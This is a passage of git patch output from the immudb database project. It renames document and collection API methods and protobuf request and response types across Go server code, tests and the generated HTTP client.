map[string]*structpb.Value{ - "pincode": { - Kind: &structpb.Value_NumberValue{NumberValue: float64(i)}, + Documents: []*structpb.Struct{ + { + Fields: map[string]*structpb.Value{ + "pincode": { + Kind: &structpb.Value_NumberValue{NumberValue: float64(i)}, + }, }, }, }, @@ -729,12 +731,14 @@ func Test_vlogCompactor_with_document_store(t *testing.T) { exec(t, "INSERT INTO table1(name, amount) VALUES('Foo', 0)") exec(t, "INSERT INTO table1(name, amount) VALUES('Fin', 0)") - res, err := db.InsertDocument(context.Background(), &protomodel.DocumentInsertRequest{ + res, err := db.InsertDocuments(context.Background(), &protomodel.InsertDocumentsRequest{ Collection: collectionName, - Document: &structpb.Struct{ - Fields: map[string]*structpb.Value{ - "pincode": { - Kind: &structpb.Value_NumberValue{NumberValue: 999}, + Documents: []*structpb.Struct{ + { + Fields: map[string]*structpb.Value{ + "pincode": { + Kind: &structpb.Value_NumberValue{NumberValue: 999}, + }, }, }, }, @@ -747,7 +751,7 @@ func Test_vlogCompactor_with_document_store(t *testing.T) { t.Run("succeed loading catalog from latest schema should work", func(t *testing.T) { query(t, "SELECT * FROM table1", 2) - cinfo, err := db.GetCollection(context.Background(), &protomodel.CollectionGetRequest{ + cinfo, err := db.GetCollection(context.Background(), &protomodel.GetCollectionRequest{ Name: collectionName, }) require.NoError(t, err) diff --git a/pkg/server/db_dummy_closed.go b/pkg/server/db_dummy_closed.go index 5209d5bdde..bc4e052dbd 100644 --- a/pkg/server/db_dummy_closed.go +++ b/pkg/server/db_dummy_closed.go @@ -247,61 +247,55 @@ func (db *closedDB) Truncate(ts time.Duration) error { } // CreateCollection creates a new collection -func (d *closedDB) CreateCollection(ctx context.Context, req *protomodel.CollectionCreateRequest) (*protomodel.CollectionCreateResponse, error) { +func (d *closedDB) CreateCollection(ctx context.Context, req *protomodel.CreateCollectionRequest) (*protomodel.CreateCollectionResponse, error) { return nil, store.ErrAlreadyClosed } // GetCollection returns the collection schema -func (d *closedDB) GetCollection(ctx context.Context, req *protomodel.CollectionGetRequest) (*protomodel.CollectionGetResponse, error) { +func (d *closedDB) GetCollection(ctx context.Context, req *protomodel.GetCollectionRequest) (*protomodel.GetCollectionResponse, error) { return nil, store.ErrAlreadyClosed } -func (d *closedDB) UpdateCollection(ctx context.Context, req *protomodel.CollectionUpdateRequest) (*protomodel.CollectionUpdateResponse, error) { +func (d *closedDB) GetCollections(ctx context.Context, req *protomodel.GetCollectionsRequest) (*protomodel.GetCollectionsResponse, error) { return nil, store.ErrAlreadyClosed } -func (d *closedDB) DeleteCollection(ctx context.Context, req *protomodel.CollectionDeleteRequest) (*protomodel.CollectionDeleteResponse, error) { +func (d *closedDB) UpdateCollection(ctx context.Context, req *protomodel.UpdateCollectionRequest) (*protomodel.UpdateCollectionResponse, error) { return nil, store.ErrAlreadyClosed } -func (d *closedDB) ListCollections(ctx context.Context, req *protomodel.CollectionListRequest) (*protomodel.CollectionListResponse, error) { +func (d *closedDB) DeleteCollection(ctx context.Context, req *protomodel.DeleteCollectionRequest) (*protomodel.DeleteCollectionResponse, error) { return nil, store.ErrAlreadyClosed } -func (d *closedDB) CreateIndex(ctx context.Context, req *protomodel.IndexCreateRequest) (*protomodel.IndexCreateResponse, error) { +func (d *closedDB) CreateIndex(ctx context.Context, req *protomodel.CreateIndexRequest) (*protomodel.CreateIndexResponse, error) { return nil, store.ErrAlreadyClosed } -func (d *closedDB) DeleteIndex(ctx context.Context, req *protomodel.IndexDeleteRequest) (*protomodel.IndexDeleteResponse, error) { +func (d *closedDB) DeleteIndex(ctx context.Context, req *protomodel.DeleteIndexRequest) (*protomodel.DeleteIndexResponse, error) { return nil, store.ErrAlreadyClosed } -// InsertDocument creates a new document -func (d *closedDB) InsertDocument(ctx context.Context, req *protomodel.DocumentInsertRequest) (*protomodel.DocumentInsertResponse, error) { +func (d *closedDB) InsertDocuments(ctx context.Context, req *protomodel.InsertDocumentsRequest) (*protomodel.InsertDocumentsResponse, error) { return nil, store.ErrAlreadyClosed } -func (d *closedDB) DocumentInsertMany(ctx context.Context, req *protomodel.DocumentInsertManyRequest) (*protomodel.DocumentInsertManyResponse, error) { +func (d *closedDB) UpdateDocument(ctx context.Context, req *protomodel.UpdateDocumentRequest) (*protomodel.UpdateDocumentResponse, error) { return nil, store.ErrAlreadyClosed } -func (d *closedDB) UpdateDocument(ctx context.Context, req *protomodel.DocumentUpdateRequest) (*protomodel.DocumentUpdateResponse, error) { +func (d *closedDB) AuditDocument(ctx context.Context, req *protomodel.AuditDocumentRequest) (*protomodel.AuditDocumentResponse, error) { return nil, store.ErrAlreadyClosed } -func (d *closedDB) DocumentAudit(ctx context.Context, req *protomodel.DocumentAuditRequest) (*protomodel.DocumentAuditResponse, error) { - return nil, store.ErrAlreadyClosed -} - -// SearchDocuments returns the document func (d *closedDB) SearchDocuments(ctx context.Context, query *protomodel.Query, offset int64) (document.DocumentReader, error) { return nil, store.ErrAlreadyClosed } -func (d *closedDB) DocumentProof(ctx context.Context, req *protomodel.DocumentProofRequest) (*protomodel.DocumentProofResponse, error) { +func (d *closedDB) ProveDocument(ctx context.Context, req *protomodel.ProveDocumentRequest) (*protomodel.ProveDocumentResponse, error) { return nil, store.ErrAlreadyClosed } -func (d *closedDB) DocumentDelete(ctx context.Context, req *protomodel.DocumentDeleteRequest) (*protomodel.DocumentDeleteResponse, error) { +func (d *closedDB) DeleteDocuments(ctx context.Context, req *protomodel.DeleteDocumentsRequest) (*protomodel.DeleteDocumentsResponse, error) { return nil, store.ErrAlreadyClosed } diff --git a/pkg/server/documents_operations.go b/pkg/server/documents_operations.go index 7a6427b7be..da94c110d2 100644 --- a/pkg/server/documents_operations.go +++ b/pkg/server/documents_operations.go @@ -28,8 +28,8 @@ import ( "github.com/rs/xid" ) -func (s *ImmuServer) CollectionCreate(ctx context.Context, req *protomodel.CollectionCreateRequest) (*protomodel.CollectionCreateResponse, error) { - db, err := s.getDBFromCtx(ctx, "CollectionCreate") +func (s *ImmuServer) CreateCollection(ctx context.Context, req *protomodel.CreateCollectionRequest) (*protomodel.CreateCollectionResponse, error) { + db, err := s.getDBFromCtx(ctx, "CreateCollection") if err != nil { return nil, err } @@ -40,8 +40,8 @@ func (s *ImmuServer) CollectionCreate(ctx context.Context, req *protomodel.Colle return resp, nil } -func (s *ImmuServer) CollectionUpdate(ctx context.Context, req *protomodel.CollectionUpdateRequest) (*protomodel.CollectionUpdateResponse, error) { - db, err := s.getDBFromCtx(ctx, "CollectionUpdate") +func (s *ImmuServer) UpdateCollection(ctx context.Context, req *protomodel.UpdateCollectionRequest) (*protomodel.UpdateCollectionResponse, error) { + db, err := s.getDBFromCtx(ctx, "UpdateCollection") if err != nil { return nil, err } @@ -52,8 +52,8 @@ func (s *ImmuServer) CollectionUpdate(ctx context.Context, req *protomodel.Colle return resp, nil } -func (s *ImmuServer) CollectionGet(ctx context.Context, req *protomodel.CollectionGetRequest) (*protomodel.CollectionGetResponse, error) { - db, err := s.getDBFromCtx(ctx, "CollectionGet") +func (s *ImmuServer) GetCollection(ctx context.Context, req *protomodel.GetCollectionRequest) (*protomodel.GetCollectionResponse, error) { + db, err := s.getDBFromCtx(ctx, "GetCollection") if err != nil { return nil, err } @@ -64,20 +64,20 @@ func (s *ImmuServer) CollectionGet(ctx context.Context, req *protomodel.Collecti return resp, nil } -func (s *ImmuServer) CollectionList(ctx context.Context, req *protomodel.CollectionListRequest) (*protomodel.CollectionListResponse, error) { - db, err := s.getDBFromCtx(ctx, "CollectionList") +func (s *ImmuServer) GetCollections(ctx context.Context, req *protomodel.GetCollectionsRequest) (*protomodel.GetCollectionsResponse, error) { + db, err := s.getDBFromCtx(ctx, "GetCollections") if err != nil { return nil, err } - resp, err := db.ListCollections(ctx, req) + resp, err := db.GetCollections(ctx, req) if err != nil { return nil, err } return resp, nil } -func (s *ImmuServer) CollectionDelete(ctx context.Context, req *protomodel.CollectionDeleteRequest) (*protomodel.CollectionDeleteResponse, error) { - db, err := s.getDBFromCtx(ctx, "CollectionDelete") +func (s *ImmuServer) DeleteCollection(ctx context.Context, req *protomodel.DeleteCollectionRequest) (*protomodel.DeleteCollectionResponse, error) { + db, err := s.getDBFromCtx(ctx, "DeleteCollection") if err != nil { return nil, err } @@ -88,8 +88,8 @@ func (s *ImmuServer) CollectionDelete(ctx context.Context, req *protomodel.Colle return resp, nil } -func (s *ImmuServer) IndexCreate(ctx context.Context, req *protomodel.IndexCreateRequest) (*protomodel.IndexCreateResponse, error) { - db, err := s.getDBFromCtx(ctx, "IndexCreate") +func (s *ImmuServer) CreateIndex(ctx context.Context, req *protomodel.CreateIndexRequest) (*protomodel.CreateIndexResponse, error) { + db, err := s.getDBFromCtx(ctx, "CreateIndex") if err != nil { return nil, err } @@ -100,8 +100,8 @@ func (s *ImmuServer) IndexCreate(ctx context.Context, req *protomodel.IndexCreat return resp, nil } -func (s *ImmuServer) IndexDelete(ctx context.Context, req *protomodel.IndexDeleteRequest) (*protomodel.IndexDeleteResponse, error) { - db, err := s.getDBFromCtx(ctx, "IndexDelete") +func (s *ImmuServer) DeleteIndex(ctx context.Context, req *protomodel.DeleteIndexRequest) (*protomodel.DeleteIndexResponse, error) { + db, err := s.getDBFromCtx(ctx, "DeleteIndex") if err != nil { return nil, err } @@ -112,34 +112,20 @@ func (s *ImmuServer) IndexDelete(ctx context.Context, req *protomodel.IndexDelet return resp, nil } -func (s *ImmuServer) DocumentInsert(ctx context.Context, req *protomodel.DocumentInsertRequest) (*protomodel.DocumentInsertResponse, error) { - db, err := s.getDBFromCtx(ctx, "DocumentInsert") +func (s *ImmuServer) InsertDocuments(ctx context.Context, req *protomodel.InsertDocumentsRequest) (*protomodel.InsertDocumentsResponse, error) { + db, err := s.getDBFromCtx(ctx, "InsertDocuments") if err != nil { return nil, err } - resp, err := db.InsertDocument(ctx, req) + resp, err := db.InsertDocuments(ctx, req) if err != nil { return nil, err } return resp, nil } -func (s *ImmuServer) DocumentInsertMany(ctx context.Context, req *protomodel.DocumentInsertManyRequest) (*protomodel.DocumentInsertManyResponse, error) { - db, err := s.getDBFromCtx(ctx, "DocumentInsertMany") - if err != nil { - return nil, err - } - - resp, err := db.DocumentInsertMany(ctx, req) - if err != nil { - return nil, err - } - - return resp, nil -} - -func (s *ImmuServer) DocumentUpdate(ctx context.Context, req *protomodel.DocumentUpdateRequest) (*protomodel.DocumentUpdateResponse, error) { - db, err := s.getDBFromCtx(ctx, "DocumentUpdate") +func (s *ImmuServer) UpdateDocument(ctx context.Context, req *protomodel.UpdateDocumentRequest) (*protomodel.UpdateDocumentResponse, error) { + db, err := s.getDBFromCtx(ctx, "UpdateDocument") if err != nil { return nil, err } @@ -150,12 +136,12 @@ func (s *ImmuServer) DocumentUpdate(ctx context.Context, req *protomodel.Documen return resp, nil } -func (s *ImmuServer) DocumentAudit(ctx context.Context, req *protomodel.DocumentAuditRequest) (*protomodel.DocumentAuditResponse, error) { - db, err := s.getDBFromCtx(ctx, "DocumentAudit") +func (s *ImmuServer) AuditDocument(ctx context.Context, req *protomodel.AuditDocumentRequest) (*protomodel.AuditDocumentResponse, error) { + db, err := s.getDBFromCtx(ctx, "AuditDocument") if err != nil { return nil, err } - resp, err := db.DocumentAudit(ctx, req) + resp, err := db.AuditDocument(ctx, req) if err != nil { return nil, err } @@ -163,8 +149,8 @@ func (s *ImmuServer) DocumentAudit(ctx context.Context, req *protomodel.Document return resp, nil } -func (s *ImmuServer) DocumentSearch(ctx context.Context, req *protomodel.DocumentSearchRequest) (*protomodel.DocumentSearchResponse, error) { - db, err := s.getDBFromCtx(ctx, "DocumentSearch") +func (s *ImmuServer) SearchDocuments(ctx context.Context, req *protomodel.SearchDocumentsRequest) (*protomodel.SearchDocumentsResponse, error) { + db, err := s.getDBFromCtx(ctx, "SearchDocuments") if err != nil { return nil, err } @@ -255,36 +241,36 @@ func (s *ImmuServer) DocumentSearch(ctx context.Context, req *protomodel.Documen s.Logger.Errorf("error deleting paginated reader: %s, err = %v", req.SearchId, err) } - return &protomodel.DocumentSearchResponse{ + return &protomodel.SearchDocumentsResponse{ Revisions: docs, }, nil } - return &protomodel.DocumentSearchResponse{ + return &protomodel.SearchDocumentsResponse{ SearchId: req.SearchId, Revisions: docs, }, nil } -func (s *ImmuServer) DocumentDelete(ctx context.Context, req *protomodel.DocumentDeleteRequest) (*protomodel.DocumentDeleteResponse, error) { - db, err := s.getDBFromCtx(ctx, "DocumentDelete") +func (s *ImmuServer) DeleteDocuments(ctx context.Context, req *protomodel.DeleteDocumentsRequest) (*protomodel.DeleteDocumentsResponse, error) { + db, err := s.getDBFromCtx(ctx, "DeleteDocuments") if err != nil { return nil, err } - resp, err := db.DocumentDelete(ctx, req) + resp, err := db.DeleteDocuments(ctx, req) if err != nil { return nil, err } return resp, nil } -func (s *ImmuServer) DocumentProof(ctx context.Context, req *protomodel.DocumentProofRequest) (*protomodel.DocumentProofResponse, error) { - db, err := s.getDBFromCtx(ctx, "DocumentProof") +func (s *ImmuServer) ProveDocument(ctx context.Context, req *protomodel.ProveDocumentRequest) (*protomodel.ProveDocumentResponse, error) { + db, err := s.getDBFromCtx(ctx, "ProveDocument") if err != nil { return nil, err } - res, err := db.DocumentProof(ctx, req) + res, err := db.ProveDocument(ctx, req) if err != nil { return nil, err } diff --git a/pkg/server/documents_operations_test.go b/pkg/server/documents_operations_test.go index 8740a0e804..2e75f42665 100644 --- a/pkg/server/documents_operations_test.go +++ b/pkg/server/documents_operations_test.go @@ -44,22 +44,22 @@ func TestV2Authentication(t *testing.T) { ctx := context.Background() - _, err := s.DocumentInsert(ctx, &protomodel.DocumentInsertRequest{}) + _, err := s.InsertDocuments(ctx, &protomodel.InsertDocumentsRequest{}) require.ErrorIs(t, err, ErrNotLoggedIn) - _, err = s.DocumentSearch(ctx, &protomodel.DocumentSearchRequest{}) + _, err = s.SearchDocuments(ctx, &protomodel.SearchDocumentsRequest{}) require.ErrorIs(t, err, ErrNotLoggedIn) - _, err = s.CollectionCreate(ctx, &protomodel.CollectionCreateRequest{}) + _, err = s.CreateCollection(ctx, &protomodel.CreateCollectionRequest{}) require.ErrorIs(t, err, ErrNotLoggedIn) - _, err = s.CollectionDelete(ctx, &protomodel.CollectionDeleteRequest{}) + _, err = s.DeleteCollection(ctx, &protomodel.DeleteCollectionRequest{}) require.ErrorIs(t, err, ErrNotLoggedIn) - _, err = s.CollectionList(ctx, &protomodel.CollectionListRequest{}) + _, err = s.GetCollections(ctx, &protomodel.GetCollectionsRequest{}) require.ErrorIs(t, err, ErrNotLoggedIn) - _, err = s.CollectionGet(ctx, &protomodel.CollectionGetRequest{}) + _, err = s.GetCollection(ctx, &protomodel.GetCollectionRequest{}) require.ErrorIs(t, err, ErrNotLoggedIn) authServiceImp := &authenticationServiceImp{server: s} @@ -77,22 +77,22 @@ func TestV2Authentication(t *testing.T) { md := metadata.Pairs("sessionid", logged.SessionID) ctx = metadata.NewIncomingContext(context.Background(), md) - _, err = s.DocumentInsert(ctx, &protomodel.DocumentInsertRequest{}) + _, err = s.InsertDocuments(ctx, &protomodel.InsertDocumentsRequest{}) require.NotErrorIs(t, err, ErrNotLoggedIn) - _, err = s.DocumentSearch(ctx, &protomodel.DocumentSearchRequest{}) + _, err = s.SearchDocuments(ctx, &protomodel.SearchDocumentsRequest{}) require.NotErrorIs(t, err, ErrNotLoggedIn) - _, err = s.CollectionCreate(ctx, &protomodel.CollectionCreateRequest{}) + _, err = s.CreateCollection(ctx, &protomodel.CreateCollectionRequest{}) require.NotErrorIs(t, err, ErrNotLoggedIn) - _, err = s.CollectionDelete(ctx, &protomodel.CollectionDeleteRequest{}) + _, err = s.DeleteCollection(ctx, &protomodel.DeleteCollectionRequest{}) require.NotErrorIs(t, err, ErrNotLoggedIn) - _, err = s.CollectionList(ctx, &protomodel.CollectionListRequest{}) + _, err = s.GetCollections(ctx, &protomodel.GetCollectionsRequest{}) require.NotErrorIs(t, err, ErrNotLoggedIn) - _, err = s.CollectionGet(ctx, &protomodel.CollectionGetRequest{}) + _, err = s.GetCollection(ctx, &protomodel.GetCollectionRequest{}) require.NotErrorIs(t, err, ErrNotLoggedIn) } @@ -124,7 +124,7 @@ func TestPaginationOnReader(t *testing.T) { collectionName := "mycollection" - _, err = s.CollectionCreate(ctx, &protomodel.CollectionCreateRequest{ + _, err = s.CreateCollection(ctx, &protomodel.CreateCollectionRequest{ Name: collectionName, Fields: []*protomodel.Field{ {Name: "pincode", Type: protomodel.FieldType_INTEGER}, @@ -140,13 +140,15 @@ func TestPaginationOnReader(t *testing.T) { require.NoError(t, err) for i := 1.0; i <= 20; i++ { - _, err = s.DocumentInsert(ctx, &protomodel.DocumentInsertRequest{ + _, err = s.InsertDocuments(ctx, &protomodel.InsertDocumentsRequest{ Collection: collectionName, - Document: &structpb.Struct{ - Fields: map[string]*structpb.Value{ - "pincode": structpb.NewNumberValue(i), - "country": structpb.NewStringValue(fmt.Sprintf("country-%d", int(i))), - "idx": structpb.NewNumberValue(i), + Documents: []*structpb.Struct{ + { + Fields: map[string]*structpb.Value{ + "pincode": structpb.NewNumberValue(i), + "country": structpb.NewStringValue(fmt.Sprintf("country-%d", int(i))), + "idx": structpb.NewNumberValue(i), + }, }, }, }) @@ -154,7 +156,7 @@ func TestPaginationOnReader(t *testing.T) { } t.Run("test with search id and query should fail", func(t *testing.T) { - _, err = s.DocumentSearch(ctx, &protomodel.DocumentSearchRequest{ + _, err = s.SearchDocuments(ctx, &protomodel.SearchDocumentsRequest{ SearchId: "foobar", Query: &protomodel.Query{ Collection: collectionName, @@ -177,7 +179,7 @@ func TestPaginationOnReader(t *testing.T) { }) t.Run("test with invalid search id should fail", func(t *testing.T) { - _, err = s.DocumentSearch(ctx, &protomodel.DocumentSearchRequest{ + _, err = s.SearchDocuments(ctx, &protomodel.SearchDocumentsRequest{ SearchId: "foobar", Page: 1, PageSize: 5, @@ -206,7 +208,7 @@ func TestPaginationOnReader(t *testing.T) { } for i := 1; i <= 4; i++ { - resp, err := s.DocumentSearch(ctx, &protomodel.DocumentSearchRequest{ + resp, err := s.SearchDocuments(ctx, &protomodel.SearchDocumentsRequest{ SearchId: searchID, Query: query, Page: uint32(i), @@ -234,7 +236,7 @@ func TestPaginationOnReader(t *testing.T) { require.Equal(t, 1, sess.GetPaginatedDocumentReadersCount()) t.Run("test reader should throw no more entries when reading more entries from a reader", func(t *testing.T) { - _, err = s.DocumentSearch(ctx, &protomodel.DocumentSearchRequest{ + _, err = s.SearchDocuments(ctx, &protomodel.SearchDocumentsRequest{ SearchId: searchID, Page: 5, PageSize: 5, @@ -262,7 +264,7 @@ func TestPaginationOnReader(t *testing.T) { } for i := 1; i <= 3; i++ { - resp, err := s.DocumentSearch(ctx, &protomodel.DocumentSearchRequest{ + resp, err := s.SearchDocuments(ctx, &protomodel.SearchDocumentsRequest{ SearchId: searchID, Query: query, Page: uint32(i), @@ -274,7 +276,7 @@ func TestPaginationOnReader(t *testing.T) { query = nil } - _, err := s.DocumentSearch(ctx, &protomodel.DocumentSearchRequest{ + _, err := s.SearchDocuments(ctx, &protomodel.SearchDocumentsRequest{ SearchId: searchID, Page: 2, // read upto page 3, check if we can read backwards PageSize: 5, @@ -311,7 +313,7 @@ func TestPaginationWithoutSearchID(t *testing.T) { collectionName := "mycollection" - _, err = s.CollectionCreate(ctx, &protomodel.CollectionCreateRequest{ + _, err = s.CreateCollection(ctx, &protomodel.CreateCollectionRequest{ Name: collectionName, Fields: []*protomodel.Field{ {Name: "pincode", Type: protomodel.FieldType_INTEGER}, @@ -327,13 +329,15 @@ func TestPaginationWithoutSearchID(t *testing.T) { require.NoError(t, err) for i := 1.0; i <= 20; i++ { - _, err = s.DocumentInsert(ctx, &protomodel.DocumentInsertRequest{ + _, err = s.InsertDocuments(ctx, &protomodel.InsertDocumentsRequest{ Collection: collectionName, - Document: &structpb.Struct{ - Fields: map[string]*structpb.Value{ - "pincode": structpb.NewNumberValue(i), - "country": structpb.NewStringValue(fmt.Sprintf("country-%d", int(i))), - "idx": structpb.NewNumberValue(i), + Documents: []*structpb.Struct{ + { + Fields: map[string]*structpb.Value{ + "pincode": structpb.NewNumberValue(i), + "country": structpb.NewStringValue(fmt.Sprintf("country-%d", int(i))), + "idx": structpb.NewNumberValue(i), + }, }, }, }) @@ -350,7 +354,7 @@ func TestPaginationWithoutSearchID(t *testing.T) { results := make([]*protomodel.DocumentAtRevision, 0) for i := 1; i <= 4; i++ { - resp, err := s.DocumentSearch(ctx, &protomodel.DocumentSearchRequest{ + resp, err := s.SearchDocuments(ctx, &protomodel.SearchDocumentsRequest{ Query: &protomodel.Query{ Collection: collectionName, Expressions: []*protomodel.QueryExpression{ @@ -410,7 +414,7 @@ func TestPaginatedReader_NoMoreDocsFound(t *testing.T) { collectionName := "mycollection" - _, err = s.CollectionCreate(ctx, &protomodel.CollectionCreateRequest{ + _, err = s.CreateCollection(ctx, &protomodel.CreateCollectionRequest{ Name: collectionName, Fields: []*protomodel.Field{ {Name: "pincode", Type: protomodel.FieldType_INTEGER}, @@ -426,13 +430,15 @@ func TestPaginatedReader_NoMoreDocsFound(t *testing.T) { require.NoError(t, err) for i := 1.0; i <= 10; i++ { - _, err = s.DocumentInsert(ctx, &protomodel.DocumentInsertRequest{ + _, err = s.InsertDocuments(ctx, &protomodel.InsertDocumentsRequest{ Collection: collectionName, - Document: &structpb.Struct{ - Fields: map[string]*structpb.Value{ - "pincode": structpb.NewNumberValue(i), - "country": structpb.NewStringValue(fmt.Sprintf("country-%d", int(i))), - "idx": structpb.NewNumberValue(i), + Documents: []*structpb.Struct{ + { + Fields: map[string]*structpb.Value{ + "pincode": structpb.NewNumberValue(i), + "country": structpb.NewStringValue(fmt.Sprintf("country-%d", int(i))), + "idx": structpb.NewNumberValue(i), + }, }, }, }) @@ -460,7 +466,7 @@ func TestPaginatedReader_NoMoreDocsFound(t *testing.T) { } for i := 1; i <= 2; i++ { - resp, err := s.DocumentSearch(ctx, &protomodel.DocumentSearchRequest{ + resp, err := s.SearchDocuments(ctx, &protomodel.SearchDocumentsRequest{ SearchId: searchID, Query: query, Page: uint32(i), @@ -483,7 +489,7 @@ func TestPaginatedReader_NoMoreDocsFound(t *testing.T) { require.Equal(t, 1, sess.GetPaginatedDocumentReadersCount()) t.Run("test reader should throw no more entries when reading more entries from a reader", func(t *testing.T) { - resp, err := s.DocumentSearch(ctx, &protomodel.DocumentSearchRequest{ + resp, err := s.SearchDocuments(ctx, &protomodel.SearchDocumentsRequest{ SearchId: searchID, Page: 3, PageSize: 4, @@ -515,7 +521,7 @@ func TestPaginatedReader_NoMoreDocsFound(t *testing.T) { }, } - resp, err := s.DocumentSearch(ctx, &protomodel.DocumentSearchRequest{ + resp, err := s.SearchDocuments(ctx, &protomodel.SearchDocumentsRequest{ Query: query, Page: 1, PageSize: 11, @@ -534,7 +540,7 @@ func TestPaginatedReader_NoMoreDocsFound(t *testing.T) { require.Equal(t, 0, sess.GetPaginatedDocumentReadersCount()) t.Run("test reader should throw error when search id is invalid", func(t *testing.T) { - _, err = s.DocumentSearch(ctx, &protomodel.DocumentSearchRequest{ + _, err = s.SearchDocuments(ctx, &protomodel.SearchDocumentsRequest{ SearchId: "invalid-searchId", Page: 2, PageSize: 5, diff --git a/pkg/verification/verification.go b/pkg/verification/verification.go index 074bc63d98..9dd30aff57 100644 --- a/pkg/verification/verification.go +++ b/pkg/verification/verification.go @@ -33,7 +33,7 @@ import ( ) func VerifyDocument(ctx context.Context, - proof *protomodel.DocumentProofResponse, + proof *protomodel.ProveDocumentResponse, doc *structpb.Struct, knownState *schema.ImmutableState, serverSigningPubKey *ecdsa.PublicKey, From 0d3b4584fec209d6ce662c32b488d0f0dc9024ea Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Thu, 11 May 2023 09:31:36 -0300 Subject: [PATCH 0539/1062] chore(pkg/api): document api improvements Signed-off-by: Jeronimo Irazabal --- embedded/document/engine.go | 2 +- embedded/document/engine_test.go | 10 +- pkg/api/httpclient/client.go | 230 ++++----- pkg/api/openapi/apidocs.swagger.json | 86 ++-- pkg/api/proto/documents.proto | 16 +- pkg/api/protomodel/docs.md | 76 +-- pkg/api/protomodel/documents.pb.go | 622 ++++++++++++------------ pkg/api/protomodel/documents.pb.gw.go | 56 +-- pkg/api/protomodel/documents_grpc.pb.go | 56 +-- pkg/auth/permissions.go | 8 +- pkg/database/document_database.go | 22 +- pkg/database/document_database_test.go | 2 +- pkg/server/db_dummy_closed.go | 4 +- pkg/server/documents_operations.go | 12 +- pkg/verification/verification.go | 2 +- 15 files changed, 602 insertions(+), 602 deletions(-) diff --git a/embedded/document/engine.go b/embedded/document/engine.go index e142ab8c4d..6223401fcf 100644 --- a/embedded/document/engine.go +++ b/embedded/document/engine.go @@ -578,7 +578,7 @@ func (e *Engine) generateRowSpecForDocument(table *sql.Table, doc *structpb.Stru return sql.NewRowSpec(values), nil } -func (e *Engine) UpdateDocument(ctx context.Context, query *protomodel.Query, doc *structpb.Struct) (txID uint64, docID DocumentID, rev uint64, err error) { +func (e *Engine) ReplaceDocument(ctx context.Context, query *protomodel.Query, doc *structpb.Struct) (txID uint64, docID DocumentID, rev uint64, err error) { if query == nil { return 0, nil, 0, ErrIllegalArguments } diff --git a/embedded/document/engine_test.go b/embedded/document/engine_test.go index abf7fa0d67..a3abd68f2c 100644 --- a/embedded/document/engine_test.go +++ b/embedded/document/engine_test.go @@ -223,7 +223,7 @@ func TestDocumentAudit(t *testing.T) { }, } - _, _, revision, err := engine.UpdateDocument(context.Background(), query, &structpb.Struct{ + _, _, revision, err := engine.ReplaceDocument(context.Background(), query, &structpb.Struct{ Fields: map[string]*structpb.Value{ "_id": structpb.NewStringValue(docID.EncodeToHexString()), "pincode": structpb.NewNumberValue(2), @@ -541,7 +541,7 @@ func TestDocumentUpdate(t *testing.T) { }, } - updatetxID, updateDocID, rev, err := engine.UpdateDocument(ctx, query, &structpb.Struct{ + updatetxID, updateDocID, rev, err := engine.ReplaceDocument(ctx, query, &structpb.Struct{ Fields: map[string]*structpb.Value{ "name": structpb.NewStringValue("Alice"), "age": structpb.NewNumberValue(31), @@ -608,7 +608,7 @@ func TestDocumentUpdate(t *testing.T) { } // Test error case when no documents are found - _, _, _, err = engine.UpdateDocument(ctx, query, toUpdateDoc) + _, _, _, err = engine.ReplaceDocument(ctx, query, toUpdateDoc) require.ErrorIs(t, err, ErrDocumentNotFound) }) @@ -636,8 +636,8 @@ func TestDocumentUpdate(t *testing.T) { }, } - // Call the UpdateDocument method - _, _, _, err := engine.UpdateDocument(ctx, query, toUpdateDoc) + // Call the ReplaceDocument method + _, _, _, err := engine.ReplaceDocument(ctx, query, toUpdateDoc) require.ErrorIs(t, err, ErrDocumentNotFound) }) } diff --git a/pkg/api/httpclient/client.go b/pkg/api/httpclient/client.go index 69aed0c9fb..560ba49830 100644 --- a/pkg/api/httpclient/client.go +++ b/pkg/api/httpclient/client.go @@ -197,16 +197,16 @@ type ModelOrderByClause struct { Field *string `json:"field,omitempty"` } -// ModelProveDocumentRequest defines model for modelProveDocumentRequest. -type ModelProveDocumentRequest struct { +// ModelProofDocumentRequest defines model for modelProofDocumentRequest. +type ModelProofDocumentRequest struct { Collection *string `json:"collection,omitempty"` DocumentId *string `json:"documentId,omitempty"` ProofSinceTransactionId *string `json:"proofSinceTransactionId,omitempty"` TransactionId *string `json:"transactionId,omitempty"` } -// ModelProveDocumentResponse defines model for modelProveDocumentResponse. -type ModelProveDocumentResponse struct { +// ModelProofDocumentResponse defines model for modelProofDocumentResponse. +type ModelProofDocumentResponse struct { CollectionId *int64 `json:"collectionId,omitempty"` Database *string `json:"database,omitempty"` EncodedDocument *[]byte `json:"encodedDocument,omitempty"` @@ -226,6 +226,19 @@ type ModelQueryExpression struct { FieldComparisons *[]ModelFieldComparison `json:"fieldComparisons,omitempty"` } +// ModelReplaceDocumentRequest defines model for modelReplaceDocumentRequest. +type ModelReplaceDocumentRequest struct { + Document *map[string]interface{} `json:"document,omitempty"` + Query *ModelQuery `json:"query,omitempty"` +} + +// ModelReplaceDocumentResponse defines model for modelReplaceDocumentResponse. +type ModelReplaceDocumentResponse struct { + DocumentId *string `json:"documentId,omitempty"` + Revision *string `json:"revision,omitempty"` + TransactionId *string `json:"transactionId,omitempty"` +} + // ModelSearchDocumentsRequest defines model for modelSearchDocumentsRequest. type ModelSearchDocumentsRequest struct { Page *int64 `json:"page,omitempty"` @@ -249,19 +262,6 @@ type ModelUpdateCollectionRequest struct { // ModelUpdateCollectionResponse defines model for modelUpdateCollectionResponse. type ModelUpdateCollectionResponse = map[string]interface{} -// ModelUpdateDocumentRequest defines model for modelUpdateDocumentRequest. -type ModelUpdateDocumentRequest struct { - Document *map[string]interface{} `json:"document,omitempty"` - Query *ModelQuery `json:"query,omitempty"` -} - -// ModelUpdateDocumentResponse defines model for modelUpdateDocumentResponse. -type ModelUpdateDocumentResponse struct { - DocumentId *string `json:"documentId,omitempty"` - Revision *string `json:"revision,omitempty"` - TransactionId *string `json:"transactionId,omitempty"` -} - // ProtobufAny `Any` contains an arbitrary serialized protocol buffer message along with a // URL that describes the type of the serialized message. // @@ -509,15 +509,15 @@ type AuditDocumentJSONRequestBody = ModelAuditDocumentRequest // DeleteDocumentsJSONRequestBody defines body for DeleteDocuments for application/json ContentType. type DeleteDocumentsJSONRequestBody = ModelDeleteDocumentsRequest -// ProveDocumentJSONRequestBody defines body for ProveDocument for application/json ContentType. -type ProveDocumentJSONRequestBody = ModelProveDocumentRequest +// ProofDocumentJSONRequestBody defines body for ProofDocument for application/json ContentType. +type ProofDocumentJSONRequestBody = ModelProofDocumentRequest + +// 